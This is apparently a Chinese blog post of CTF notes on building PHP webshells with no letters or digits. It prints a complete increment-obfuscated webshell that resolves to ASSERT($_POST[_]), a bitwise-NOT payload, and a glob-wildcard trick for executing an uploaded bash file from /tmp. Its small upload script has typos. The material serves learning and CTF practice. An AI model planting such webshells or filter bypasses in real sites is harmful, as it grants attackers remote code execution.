不包含数字和字母的webshell

前言

已经做了两题有关无数字和字母的getshell,这里整理一下‘

基础篇

方法一:异或运算获得字符

在PHP中,两个字符串进行异或操作以后,得到的还是一个字符串,原理很简单,直接贴脚本了:

import re
str = r"!@#$%^*()+<>?;:-[]{}\/"
# if re.match('[a-zA-Z0-9]+','a'):

result=""
print(chr(ord('!')^ord('@')))
for j in range(len(str)):
for i in range(len(str)):
result=chr(ord(str[j])^ord(str[i]))
# print(result)
if re.match('[a-zA-Z0-9]+',result):
# if result=='_':
print(str[j]+"^"+str[i]+"="+result)

同类型的还有一个取反

方法二:++特性取字符

img
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

提高篇

长度限制+不包含$和_

php7中关于变量处理的变化

1.解析顺序
img 对变量、属性和方法的间接调用现在将严格遵循从左到右的顺序来解析
2.执行动态函数方法

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

payload:

(~%8F%97%8F%96%91%99%90)(); //(phpinfo)()

PHP5中如何执行方法

思维导入

大部分语言都不是单纯的逻辑语言,一门全功能的语言必然需要和操作系统进行交互,操作系统里面包含最重要的两个功能就是shell(系统命令)和文件系统。

PHP自然也能够和操作系统进行交互,“反引号”就是PHP中最简单的执行shell的方法。那么,在使用PHP无法解决问题的情况下,为何不考虑用“反引号”+“shell”的方式来getshell呢?

这里有个知识点需要了解一下,在linux系统中,许多系统命令都是有自己的脚本文件在,我们可以通过调用这些脚本文件来执行shell命令,这也就是之前所说的linux系统中,一切皆文件的思想,即使用bash执行file文件中的命令

介绍两个shell知识点:
1、shell可以用.来执行任意脚本,并且不需要file有x权限
2、linux文件名支持用glob通配符代替

思路

上传bash文件——执行文件

问题一:没有上传窗口文件该如何上传?

使用脚本

import requests
files={
'file':open('1.txt',rb)
}
url=""
response=requests.get(url,files=files)
print(reponse.txt)

利用脚本post直接上传

问题二:不能用字母数字,如何选中所要执行的文件?

这个时候就利用了glob通配符的知识了,我们知道,上传的文件会被临时储存在/tmp/文件夹下,那么如何确定其他的字符呢?

*首先可以代表0个及以上的任意字符**
?可以代表1个任意字符

所以我们的文件名就可以表示为/*/??????或者/???/??????(这里假定文件名为6位)

但是此时,符合此文件名可能不止一位,所以该如何更精准的定位呢?

深入理解glob通配符

glob支持用[^x]的方法来构造“这个位置不是字符x”并且支持利用[0-9]来表示一个范围

筛选方法:
1.???[^x]??筛选出第四个字符不是x的项
2.???[@-[]??筛选出第四个字符时大写字母的项(这里利用了ascc码的一个范围)

image.png

参考:https://www.php.net/manual/zh/migration70.incompatible.php

Author

vague huang

Posted on

2021-06-08

Updated on

2021-06-11

Licensed under

Comments